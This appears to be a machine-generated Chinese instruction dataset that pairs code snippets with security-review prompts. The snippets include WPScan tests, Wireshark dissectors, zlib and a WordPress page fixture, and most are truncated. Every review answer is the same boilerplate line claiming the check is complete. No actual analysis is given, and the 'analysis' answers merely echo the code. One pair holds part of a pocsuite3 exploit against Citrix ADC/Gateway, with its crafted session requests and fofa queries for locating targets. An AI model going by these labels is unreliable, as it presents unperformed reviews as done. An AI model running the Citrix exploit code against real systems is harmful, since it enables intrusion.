Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

describe WPScan::Finders::ConfigBackups::KnownFilenames do
  subject(:finder) { described_class.new(target) }
  let(:target)     { WPScan::Target.new(url) }
  let(:url)        { 'http://ex.lo/' }
  let(:fixtures)   { FINDERS_FIXTURES.join('config_backups') }
  let(:opts)       { { list: WPScan::DB_DIR.join('config_backups.txt').to_s } }

  describe '#aggressive' do
    before do
      expect(target).to receive(:sub_dir).at_least(1).and_return(false)
      expect(target).to receive(:head_or_get_params).and_return(method: :head)

      finder.potential_urls(opts).each_key do |url|
        stub_request(:head, url).to_return(status: 404)
      end
    end

    context 'when all files are 404s' do
      it 'returns an empty array' do
        expect(finder.aggressive(opts)).to eql []
      end
    end

    context 'when some files exist' do
      let(:found_files) { ['%23wp-config.php%23', 'wp-config.bak'] }
      let(:config_backup) { File.read(fixtures.join('wp-config.php')) }

      before do
        found_files.each do |file|
          stub_request(:head, "#{url}#{file}").to_return(status: 200)
          stub_request(:get, "#{url}#{file}").to_return(status: 200, body: config_backup)
        end

        expect(target).to receive(:homepage_or_404?).twice.and_return(false)
      end

      it 'returns the expected Array<ConfigBackup>' do
        expected = []

        found_files.each do |file|
          url = "#{target.url}#{file}"

          expected << WPScan::Model::ConfigBackup.new(
            url,
            confidence: 100,
            found_by: described_class::DIRECT_ACCESS
          )
        end

        expect(finder.aggressive(opts)).to eql expected
      end
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

describe WPScan::Finders::Themes::UrlsIn404Page do
  subject(:finder) { described_class.new(target) }
  let(:target)     { WPScan::Target.new(url) }
  let(:url)        { 'http://wp.lab/' }
  let(:fixtures)   { FINDERS_FIXTURES.join('themes', 'urls_in_404_page') }

  # This stuff is just a child class of URLsInHomepage (using the error_404_res rather than homepage_res)
  # which already has a spec
end


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-btavctp.c
 * Routines for Bluetooth AVCTP dissection
 *
 * Copyright 2012, Michal Labedzki for Tieto Corporation
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/decode_as.h>
#include <epan/proto_data.h>

#include "packet-bluetooth.h"
#include "packet-btl2cap.h"
#include "packet-btsdp.h"
#include "packet-btavctp.h"

#define PACKET_TYPE_SINGLE    0x00
#define PACKET_TYPE_START     0x01
#define PACKET_TYPE_CONTINUE  0x02
#define PACKET_TYPE_END       0x03

int proto_btavctp = -1;

static int hf_btavctp_transaction               = -1;
static int hf_btavctp_packet_type               = -1;
static int hf_btavctp_cr                        = -1;
static int hf_btavctp_ipid                      = -1;
static int hf_btavctp_rfa                       = -1;
static int hf_btavctp_pid                       = -1;
static int hf_btavctp_number_of_packets         = -1;

static gint ett_btavctp             = -1;

static expert_field ei_btavctp_unexpected_frame = EI_INIT;
static expert_field ei_btavctp_invalid_profile = EI_INIT;

static dissector_handle_t btavctp_handle;

typedef struct _fragment_t {
    guint   length;
    guint8  *data;
} fragment_t;

typedef struct _fragments_t {
    guint32      interface_id;
    guint32      adapter_id;
    guint32      chandle;
    guint32      psm;
    guint32      count;
    guint32      number_of_packets;
    guint32      pid;
    wmem_tree_t  *fragment;
} fragments_t;

static wmem_tree_t *reassembling = NULL;
static fragments_t *fragments    = NULL;

static const value_string packet_type_vals[] = {
    { PACKET_TYPE_SINGLE,   "Single" },
    { PACKET_TYPE_START,    "Start" },
    { PACKET_TYPE_CONTINUE, "Continue" },
    { PACKET_TYPE_END,      "End" },
    { 0, NULL }
};

static const value_string cr_vals[] ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-btavctp.c
 * Routines for Bluetooth AVCTP dissection
 *
 * Copyright 2012, Michal Labedzki for Tieto Corporation
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/decode_as.h>
#include <epan/proto_data.h>

#include "packet-bluetooth.h"
#include "packet-btl2cap.h"
#include "packet-btsdp.h"
#include "packet-btavctp.h"

#define PACKET_TYPE_SINGLE    0x00
#define PACKET_TYPE_START     0x01
#define PACKET_TYPE_CONTINUE  0x02
#define PACKET_TYPE_END       0x03

int proto_btavctp = -1;

static int hf_btavctp_transaction               = -1;
static int hf_btavctp_packet_type               = -1;
static int hf_btavctp_cr                        = -1;
static int hf_btavctp_ipid                      = -1;
static int hf_btavctp_rfa                       = -1;
static int hf_btavctp_pid                       = -1;
static int hf_btavctp_number_of_packets         = -1;

static gint ett_btavctp             = -1;

static expert_field ei_btavctp_unexpected_frame = EI_INIT;
static expert_field ei_btavctp_invalid_profile = EI_INIT;

static dissector_handle_t btavctp_handle;

typedef struct _fragment_t {
    guint   length;
    guint8  *data;
} fragment_t;

typedef struct _fragments_t {
    guint32      interface_id;
    guint32      adapter_id;
    guint32      chandle;
    guint32      psm;
    guint32      count;
    guint32      number_of_packets;
    guint32      pid;
    wmem_tree_t  *fragment;
} fragments_t;

static wmem_tree_t *reassembling = NULL;
static fragments_t *fragments    = NULL;

static const value_string packet_type_vals[] = {
    { PACKET_TYPE_SINGLE,   "Single" },
    { PACKET_TYPE_START,    "Start" },
    { PACKET_TYPE_CONTINUE, "Continue" },
    { PACKET_TYPE_END,      "End" },
    { 0, NULL }
};

static const value_string cr_vals[] ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

import sys
import string
import json
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger, VUL_TYPE
from pocsuite3.lib.utils import random_str
requests.packages.urllib3.disable_warnings()

class CitrixPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['z3r0yu']
    vulDate = '2020-07-11'
    createDate = '2020-07-11'
    updateDate = '2020-07-11'
    references = ['']
    name = 'Citrix LFI'
    appPowerLink = ''
    appName = 'Citrix'
    appVersion = '''
    Citrix ADC、Citrix Gateway < 13.0、58.30
    Citrix ADC、NetScaler Gateway < 12.1、57.18
    Citrix ADC、NetScaler Gateway < 12.0、63.21
    Citrix ADC、NetScaler Gateway < 11.1、64.14
    NetScaler ADC、NetScaler Gateway < 10.5、70.18
    Citrix SD-WAN WANOP < 11.1.1a
    Citrix SD-WAN WANOP < 11.0.3d
    Citrix SD-WAN WANOP < 10.2.7
    '''
    vulType = VUL_TYPE.COMMAND_EXECUTION
    desc = '''
    https://github.com/dmaasland/dmaasland.github.io/blob/10c33bbdab/posts/citrix.md
    https://nosec.org/home/detail/4506.html

    fofa.so
    app="Citrix-Netscaler" || app="Citrix-ADC" || app="Citrix-NetScaler-Gateway" || app="Citrix-Gateway"
    '''
    samples = []
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.WEBAPP

    def create_session(self, base_url, session):
        url = '{0}/pcidss/report'.format(base_url)

        params = {
            'type': 'allprofiles',
            'sid': 'loginchallengeresponse1requestbody',
            'username': 'nsroot',
            'set': '1'
        }

        headers = {
            'Content-Type': 'application/xml',
            'X-NITRO-USER': random_str(length=8),
            'X-NITRO-PASS': random_str(length=8),
        }

        data = '<appfwprofile><login></login></appfwprofile>'

        session.post(url=url, params=params, headers=headers,
                     data=data, verify=False)
        return session

    def fix_session(self, base_url, session):
        url ...


Instruction: 检查这段代码是否存在安全问题

Input:
import sys
import string
import json
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger, VUL_TYPE
from pocsuite3.lib.utils import random_str
requests.packages.urllib3.disable_warnings()

class CitrixPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['z3r0yu']
    vulDate = '2020-07-11'
    createDate = '2020-07-11'
    updateDate = '2020-07-11'
    references = ['']
    name = 'Citrix LFI'
    appPowerLink = ''
    appName = 'Citrix'
    appVersion = '''
    Citrix ADC、Citrix Gateway < 13.0、58.30
    Citrix ADC、NetScaler Gateway < 12.1、57.18
    Citrix ADC、NetScaler Gateway < 12.0、63.21
    Citrix ADC、NetScaler Gateway < 11.1、64.14
    NetScaler ADC、NetScaler Gateway < 10.5、70.18
    Citrix SD-WAN WANOP < 11.1.1a
    Citrix SD-WAN WANOP < 11.0.3d
    Citrix SD-WAN WANOP < 10.2.7
    '''
    vulType = VUL_TYPE.COMMAND_EXECUTION
    desc = '''
    https://github.com/dmaasland/dmaasland.github.io/blob/10c33bbdab/posts/citrix.md
    https://nosec.org/home/detail/4506.html

    fofa.so
    app="Citrix-Netscaler" || app="Citrix-ADC" || app="Citrix-NetScaler-Gateway" || app="Citrix-Gateway"
    '''
    samples = []
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.WEBAPP

    def create_session(self, base_url, session):
        url = '{0}/pcidss/report'.format(base_url)

        params = {
            'type': 'allprofiles',
            'sid': 'loginchallengeresponse1requestbody',
            'username': 'nsroot',
            'set': '1'
        }

        headers = {
            'Content-Type': 'application/xml',
            'X-NITRO-USER': random_str(length=8),
            'X-NITRO-PASS': random_str(length=8),
        }

        data = '<appfwprofile><login></login></appfwprofile>'

        session.post(url=url, params=params, headers=headers,
                     data=data, verify=False)
        return session

    def fix_session(self, base_url, session):
        url ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-pkixtsp.c                                                           */
/* asn2wrs.py -b -L -p pkixtsp -c ./pkixtsp.cnf -s ./packet-pkixtsp-template -D . -O ../.. PKIXTSP.asn */

/* packet-pkixtsp.c
 * Routines for RFC2634 Extended Security Services packet dissection
 *   Ronnie Sahlberg 2004
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#include <epan/asn1.h>
#include "packet-ber.h"
#include "packet-pkixtsp.h"
#include "packet-pkix1explicit.h"
#include "packet-pkix1implicit.h"
#include "packet-cms.h"

#define PNAME  "PKIX Time Stamp Protocol"
#define PSNAME "PKIXTSP"
#define PFNAME "pkixtsp"

void proto_register_pkixtsp(void);
void proto_reg_handoff_pkixtsp(void);

static dissector_handle_t timestamp_reply_handle;
static dissector_handle_t timestamp_query_handle;

/* Initialize the protocol and registered fields */
static int proto_pkixtsp = -1;
static int hf_pkixtsp_TimeStampReq_PDU = -1;      /* TimeStampReq */
static int hf_pkixtsp_TimeStampResp_PDU = -1;     /* TimeStampResp */
static int hf_pkixtsp_TSTInfo_PDU = -1;           /* TSTInfo */
static int hf_pkixtsp_SignatureTimeStampToken_PDU = -1;  /* SignatureTimeStampToken */
static int hf_pkixtsp_version = -1;               /* T_version */
static int hf_pkixtsp_messageImprint = -1;        /* MessageImprint */
static int hf_pkixtsp_reqPolicy = -1;             /* TSAPolicyId */
static int hf_pkixtsp_nonce = -1;                 /* INTEGER */
static int hf_pkixtsp_certReq = -1;               /* BOOLEAN */
static int hf_pkixtsp_extensions = -1;            /* Extensions */
static int hf_pkixtsp_hashAlgorithm = -1;         /* AlgorithmIdentifier */
static int hf_pkixtsp_hashedMessag...


Instruction: 检查这段代码是否存在安全问题

Input:
/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-pkixtsp.c                                                           */
/* asn2wrs.py -b -L -p pkixtsp -c ./pkixtsp.cnf -s ./packet-pkixtsp-template -D . -O ../.. PKIXTSP.asn */

/* packet-pkixtsp.c
 * Routines for RFC2634 Extended Security Services packet dissection
 *   Ronnie Sahlberg 2004
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#include <epan/asn1.h>
#include "packet-ber.h"
#include "packet-pkixtsp.h"
#include "packet-pkix1explicit.h"
#include "packet-pkix1implicit.h"
#include "packet-cms.h"

#define PNAME  "PKIX Time Stamp Protocol"
#define PSNAME "PKIXTSP"
#define PFNAME "pkixtsp"

void proto_register_pkixtsp(void);
void proto_reg_handoff_pkixtsp(void);

static dissector_handle_t timestamp_reply_handle;
static dissector_handle_t timestamp_query_handle;

/* Initialize the protocol and registered fields */
static int proto_pkixtsp = -1;
static int hf_pkixtsp_TimeStampReq_PDU = -1;      /* TimeStampReq */
static int hf_pkixtsp_TimeStampResp_PDU = -1;     /* TimeStampResp */
static int hf_pkixtsp_TSTInfo_PDU = -1;           /* TSTInfo */
static int hf_pkixtsp_SignatureTimeStampToken_PDU = -1;  /* SignatureTimeStampToken */
static int hf_pkixtsp_version = -1;               /* T_version */
static int hf_pkixtsp_messageImprint = -1;        /* MessageImprint */
static int hf_pkixtsp_reqPolicy = -1;             /* TSAPolicyId */
static int hf_pkixtsp_nonce = -1;                 /* INTEGER */
static int hf_pkixtsp_certReq = -1;               /* BOOLEAN */
static int hf_pkixtsp_extensions = -1;            /* Extensions */
static int hf_pkixtsp_hashAlgorithm = -1;         /* AlgorithmIdentifier */
static int hf_pkixtsp_hashedMessag...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-q932.c                                                              */
/* asn2wrs.py -b -L -p q932 -c ./q932.cnf -s ./packet-q932-template -D . -O ../.. Addressing-Data-Elements.asn Network-Facility-Extension.asn Network-Protocol-Profile-component.asn Interpretation-component.asn */

/* packet-q932.c
 * Routines for Q.932 packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/strutil.h>
#include <epan/asn1.h>
#include <epan/prefs.h>

#include "packet-ber.h"
#include "packet-q932.h"

#define PNAME  "Q.932"
#define PSNAME "Q932"
#define PFNAME "q932"

void proto_register_q932(void);

/* Initialize the protocol and registered fields */
static int proto_q932 = -1;
static int hf_q932_ie_type = -1;
static int hf_q932_ie_len = -1;
static int hf_q932_ie_data = -1;
static int hf_q932_pp = -1;
static int hf_q932_nd = -1;
static int hf_q932_NetworkFacilityExtension_PDU = -1;  /* NetworkFacilityExtension */
static int hf_q932_NetworkProtocolProfile_PDU = -1;  /* NetworkProtocolProfile */
static int hf_q932_InterpretationComponent_PDU = -1;  /* InterpretationComponent */
static int hf_q932_presentationAlIowedAddress = -1;  /* AddressScreened */
static int hf_q932_presentationRestricted = -1;   /* NULL */
static int hf_q932_numberNotAvailableDueTolnterworking = -1;  /* NULL */
static int hf_q932_presentationRestrictedAddressScreened = -1;  /* AddressScreened */
static int hf_q932_presentationAllowedAddress = -1;  /* Address */
static int hf_q932_presentationRestrictedAddress = -1;  /* Address */
static int hf_q932_presentationAllowedNumberScreened = -1;  /* NumberScreened */
...


Instruction: 检查这段代码是否存在安全问题

Input:
/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-q932.c                                                              */
/* asn2wrs.py -b -L -p q932 -c ./q932.cnf -s ./packet-q932-template -D . -O ../.. Addressing-Data-Elements.asn Network-Facility-Extension.asn Network-Protocol-Profile-component.asn Interpretation-component.asn */

/* packet-q932.c
 * Routines for Q.932 packet dissection
 * 2007  Tomas Kukosa
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/strutil.h>
#include <epan/asn1.h>
#include <epan/prefs.h>

#include "packet-ber.h"
#include "packet-q932.h"

#define PNAME  "Q.932"
#define PSNAME "Q932"
#define PFNAME "q932"

void proto_register_q932(void);

/* Initialize the protocol and registered fields */
static int proto_q932 = -1;
static int hf_q932_ie_type = -1;
static int hf_q932_ie_len = -1;
static int hf_q932_ie_data = -1;
static int hf_q932_pp = -1;
static int hf_q932_nd = -1;
static int hf_q932_NetworkFacilityExtension_PDU = -1;  /* NetworkFacilityExtension */
static int hf_q932_NetworkProtocolProfile_PDU = -1;  /* NetworkProtocolProfile */
static int hf_q932_InterpretationComponent_PDU = -1;  /* InterpretationComponent */
static int hf_q932_presentationAlIowedAddress = -1;  /* AddressScreened */
static int hf_q932_presentationRestricted = -1;   /* NULL */
static int hf_q932_numberNotAvailableDueTolnterworking = -1;  /* NULL */
static int hf_q932_presentationRestrictedAddressScreened = -1;  /* AddressScreened */
static int hf_q932_presentationAllowedAddress = -1;  /* Address */
static int hf_q932_presentationRestrictedAddress = -1;  /* Address */
static int hf_q932_presentationAllowedNumberScreened = -1;  /* NumberScreened */
...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

<html lang="en-US">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width">
  <title>WordPress 4.0 | Just another WordPress site</title>
  <link rel="profile" href="http://gmpg.org/xfn/11">
  <link rel="pingback" href="http://ex.lo/xmlrpc.php">
  <meta name='robots' content='noindex,follow' />
<link rel="alternate" type="application/rss+xml" title="Wordpress 4.0 &raquo; Feed" href="http://ex.lo/feed/" />
<link rel="alternate" type="application/rss+xml" title="Wordpress 4.0 &raquo; Comments Feed" href="http://ex.lo/comments/feed/" />
<link rel='stylesheet' id='twentyfourteen-lato-css'  href='//fonts.googleapis.com/css?family=Lato%3A300%2C400%2C700%2C900%2C300italic%2C400italic%2C700italic' type='text/css' media='all' />
<link rel='stylesheet' id='flexSlider_stylesheet-css'  href='http://ex.lo/wp-content/plugins/reflex-gallery/scripts/flexslider/flexslider.css?ver=4.0' type='text/css' media='all' />
<link rel='stylesheet' id='prettyPhoto_stylesheet-css'  href='http://ex.lo/wp-content/plugins/reflex-gallery/scripts/prettyPhoto/prettyPhoto.css?ver=4.0' type='text/css' media='all' />
<link rel='stylesheet' id='genericons-css'  href='http://ex.lo/wp-content/themes/twentyfourteen/genericons/genericons.css?ver=3.0.3' type='text/css'>

<a class="skip-link screen-reader-text" href="#content">Skip to content</a>


Instruction: 检查这段代码是否存在安全问题

Input:
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width">
  <title>WordPress 4.0 | Just another WordPress site</title>
  <link rel="profile" href="http://gmpg.org/xfn/11">
  <link rel="pingback" href="http://ex.lo/xmlrpc.php">
  <meta name='robots' content='noindex,follow' />
<link rel="alternate" type="application/rss+xml" title="Wordpress 4.0 » Feed" href="http://ex.lo/feed/" />
<link rel="alternate" type="application/rss+xml" title="Wordpress 4.0 » Comments Feed" href="http://ex.lo/comments/feed/" />
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Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dvb-s2-bb.c
 * Routines for DVB Dynamic Mode Adaptation dissection
 *  refer to
 *    https://web.archive.org/web/20170226064346/http://satlabs.org/pdf/sl_561_Mode_Adaptation_Input_and_Output_Interfaces_for_DVB-S2_Equipment_v1.3.pdf
 *
 *    (http://satlabs.org/pdf/sl_561_Mode_Adaptation_Input_and_Output_Interfaces_for_DVB-S2_Equipment_v1.3.pdf
 *    is no longer available)
 *
 * Standards:
 *  ETSI EN 302 307-1 - Digital Video Broadcasting (DVB) - Framing Structure Part 1: DVB-S2
 *  ETSI EN 302 307-2 - Digital Video Broadcasting (DVB) - Framing Structure Part 2: DVB-S2X
 *  ETSI TS 102 606-1 - Digital Video Broadcasting (DVB) - Generic Stream Encapsulation (GSE) Part 1: Protocol
 *  ETSI TS 102 771 - Digital Video Broadcasting (DVB) - GSE implementation guidelines
 *  SatLabs sl_561 - Mode Adaptation Interfaces for DVB-S2 equipment
 *  ETSI EN 302 769 - Digital Video Broadcasting (DVB) - Framing Structure DVB-C2
 *  ETSI EN 302 755 - Digital Video Broadcasting (DVB) - Framing Structure DVB-T2
 *  ETSI EN 301 545 - Digital Video Broadcasting (DVB) - Second Generation DVB Interactive Satellite System (DVB-RCS2)
 *  RFC 4326 - Unidirectional Lightweight Encapsulation (ULE) for Transmission of IP Datagrams over an MPEG-2 Transport Stream (TS)
 *  IANA registries:
 *
 *    Mandatory Extension Headers (or link-dependent type fields) for ULE (Range 0-255 decimal):
 *
 *      https://www.iana.org/assignments/ule-next-headers/ule-next-headers.xhtml#ule-next-headers-1
 *
 *  and
 *
 *    Optional Extension Headers for ULE (Range 256-511 decimal):
 *
 *      https://www.iana.org/assignments/ule-next-headers/ule-next-headers.xhtml#ule-next-headers-2
 *
 * Copyright 2012, Tobias Rutz <tobias.rutz@work-microwave.de>
 * Copyright 2013-2020, Thales Alenia Space
 * Copyright 2013-2021, Viveris Technologies <adrien.destugues@opensource.viveris.fr>
 * Copyright 2021, John Thacker <johnthacker@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-dvb-s2-bb.c
 * Routines for DVB Dynamic Mode Adaptation dissection
 *  refer to
 *    https://web.archive.org/web/20170226064346/http://satlabs.org/pdf/sl_561_Mode_Adaptation_Input_and_Output_Interfaces_for_DVB-S2_Equipment_v1.3.pdf
 *
 *    (http://satlabs.org/pdf/sl_561_Mode_Adaptation_Input_and_Output_Interfaces_for_DVB-S2_Equipment_v1.3.pdf
 *    is no longer available)
 *
 * Standards:
 *  ETSI EN 302 307-1 - Digital Video Broadcasting (DVB) - Framing Structure Part 1: DVB-S2
 *  ETSI EN 302 307-2 - Digital Video Broadcasting (DVB) - Framing Structure Part 2: DVB-S2X
 *  ETSI TS 102 606-1 - Digital Video Broadcasting (DVB) - Generic Stream Encapsulation (GSE) Part 1: Protocol
 *  ETSI TS 102 771 - Digital Video Broadcasting (DVB) - GSE implementation guidelines
 *  SatLabs sl_561 - Mode Adaptation Interfaces for DVB-S2 equipment
 *  ETSI EN 302 769 - Digital Video Broadcasting (DVB) - Framing Structure DVB-C2
 *  ETSI EN 302 755 - Digital Video Broadcasting (DVB) - Framing Structure DVB-T2
 *  ETSI EN 301 545 - Digital Video Broadcasting (DVB) - Second Generation DVB Interactive Satellite System (DVB-RCS2)
 *  RFC 4326 - Unidirectional Lightweight Encapsulation (ULE) for Transmission of IP Datagrams over an MPEG-2 Transport Stream (TS)
 *  IANA registries:
 *
 *    Mandatory Extension Headers (or link-dependent type fields) for ULE (Range 0-255 decimal):
 *
 *      https://www.iana.org/assignments/ule-next-headers/ule-next-headers.xhtml#ule-next-headers-1
 *
 *  and
 *
 *    Optional Extension Headers for ULE (Range 256-511 decimal):
 *
 *      https://www.iana.org/assignments/ule-next-headers/ule-next-headers.xhtml#ule-next-headers-2
 *
 * Copyright 2012, Tobias Rutz <tobias.rutz@work-microwave.de>
 * Copyright 2013-2020, Thales Alenia Space
 * Copyright 2013-2021, Viveris Technologies <adrien.destugues@opensource.viveris.fr>
 * Copyright 2021, John Thacker <johnthacker@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* gzwrite.c -- zlib functions for writing gzip files
 * Copyright (C) 2004-2019 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h
 */

#include "gzguts.h"

/* Local functions */
local int gz_init OF((gz_statep));
local int gz_comp OF((gz_statep, int));
local int gz_zero OF((gz_statep, z_off64_t));
local z_size_t gz_write OF((gz_statep, voidpc, z_size_t));

/* Initialize state for writing a gzip file.  Mark initialization by setting
   state->size to non-zero.  Return -1 on a memory allocation failure, or 0 on
   success. */
local int gz_init(state)
    gz_statep state;
{
    int ret;
    z_streamp strm = &(state->strm);

    /* allocate input buffer (double size for gzprintf) */
    state->in = (unsigned char *)malloc(state->want << 1);
    if (state->in == NULL) {
        gz_error(state, Z_MEM_ERROR, "out of memory");
        return -1;
    }

    /* only need output buffer and deflate state if compressing */
    if (!state->direct) {
        /* allocate output buffer */
        state->out = (unsigned char *)malloc(state->want);
        if (state->out == NULL) {
            free(state->in);
            gz_error(state, Z_MEM_ERROR, "out of memory");
            return -1;
        }

        /* allocate deflate memory, set up for gzip compression */
        strm->zalloc = Z_NULL;
        strm->zfree = Z_NULL;
        strm->opaque = Z_NULL;
        ret = deflateInit2(strm, state->level, Z_DEFLATED,
                           MAX_WBITS + 16, DEF_MEM_LEVEL, state->strategy);
        if (ret != Z_OK) {
            free(state->out);
            free(state->in);
            gz_error(state, Z_MEM_ERROR, "out of memory");
            return -1;
        }
        strm->next_in = NULL;
    }

    /* mark state as initialized */
    state->size = state->want;

    /* initialize write buffer if compressing */
    if (!state->direct) {
        strm->avail_out = state->size;
        strm->next_out = state->out;
        state->x.next = strm->next...


Instruction: 检查这段代码是否存在安全问题

Input:
/* gzwrite.c -- zlib functions for writing gzip files
 * Copyright (C) 2004-2019 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h
 */

#include "gzguts.h"

/* Local functions */
local int gz_init OF((gz_statep));
local int gz_comp OF((gz_statep, int));
local int gz_zero OF((gz_statep, z_off64_t));
local z_size_t gz_write OF((gz_statep, voidpc, z_size_t));

/* Initialize state for writing a gzip file.  Mark initialization by setting
   state->size to non-zero.  Return -1 on a memory allocation failure, or 0 on
   success. */
local int gz_init(state)
    gz_statep state;
{
    int ret;
    z_streamp strm = &(state->strm);

    /* allocate input buffer (double size for gzprintf) */
    state->in = (unsigned char *)malloc(state->want << 1);
    if (state->in == NULL) {
        gz_error(state, Z_MEM_ERROR, "out of memory");
        return -1;
    }

    /* only need output buffer and deflate state if compressing */
    if (!state->direct) {
        /* allocate output buffer */
        state->out = (unsigned char *)malloc(state->want);
        if (state->out == NULL) {
            free(state->in);
            gz_error(state, Z_MEM_ERROR, "out of memory");
            return -1;
        }

        /* allocate deflate memory, set up for gzip compression */
        strm->zalloc = Z_NULL;
        strm->zfree = Z_NULL;
        strm->opaque = Z_NULL;
        ret = deflateInit2(strm, state->level, Z_DEFLATED,
                           MAX_WBITS + 16, DEF_MEM_LEVEL, state->strategy);
        if (ret != Z_OK) {
            free(state->out);
            free(state->in);
            gz_error(state, Z_MEM_ERROR, "out of memory");
            return -1;
        }
        strm->next_in = NULL;
    }

    /* mark state as initialized */
    state->size = state->want;

    /* initialize write buffer if compressing */
    if (!state->direct) {
        strm->avail_out = state->size;
        strm->next_out = state->out;
        state->x.next = strm->next...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-gdt-template.c
 *
 * Copyright 2022, Damir Franusic <damir.franusic@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

# include "config.h"

#include <glib.h>
#include <epan/packet.h>
#include <epan/conversation.h>
#include <epan/sctpppids.h>

#include <stdio.h>
#include <string.h>

#include "packet-ber.h"
#include "packet-gdt.h"

#define PNAME  "Generic Data Transfer Protocol"
#define PSNAME "GDT"
#define PFNAME "gdt"

/* Initialize the protocol and registered fields */
static int proto_gdt = -1;
static dissector_handle_t gdt_handle = NULL;

#include "packet-gdt-hf.c"

/* Initialize the subtree pointers */
static int ett_gdt = -1;
#include "packet-gdt-ett.c"

#include "packet-gdt-fn.c"

static int dissect_gdt(tvbuff_t *tvb,
                       packet_info *pinfo,
                       proto_tree *tree,
                       void *data _U_) {
    proto_item *gdt_item = NULL;
    proto_tree *gdt_tree = NULL;

    /* make entry in the Protocol column on summary display */
    col_set_str(pinfo->cinfo, COL_PROTOCOL, PNAME);

    /* create the gdt protocol tree */
    if (tree) {
        gdt_item = proto_tree_add_item(tree, proto_gdt, tvb, 0, -1, ENC_NA);
        gdt_tree = proto_item_add_subtree(gdt_item, ett_gdt);
        dissect_GDTMessage_PDU(tvb, pinfo, gdt_tree, 0);
    }
    return tvb_captured_length(tvb);
}

/*--- proto_register_gdt ----------------------------------------------*/
void proto_register_gdt(void) {
    /* List of fields */
    static hf_register_info hf[] = {
#include "packet-gdt-hfarr.c"
    };

    /* List of subtrees */
    static gint *ett[] = {
        &ett_gdt,
#include "packet-gdt-ettarr.c"
    };

    /* Register protocol */
    proto_gdt = proto_register_protocol(PNAME, PSNAME, PFNAME);

    /* Register fields and subtrees */
    proto_register_field_array(proto_gdt, hf, array_length(hf));
    pr...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-gdt-template.c
 *
 * Copyright 2022, Damir Franusic <damir.franusic@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

# include "config.h"

#include <glib.h>
#include <epan/packet.h>
#include <epan/conversation.h>
#include <epan/sctpppids.h>

#include <stdio.h>
#include <string.h>

#include "packet-ber.h"
#include "packet-gdt.h"

#define PNAME  "Generic Data Transfer Protocol"
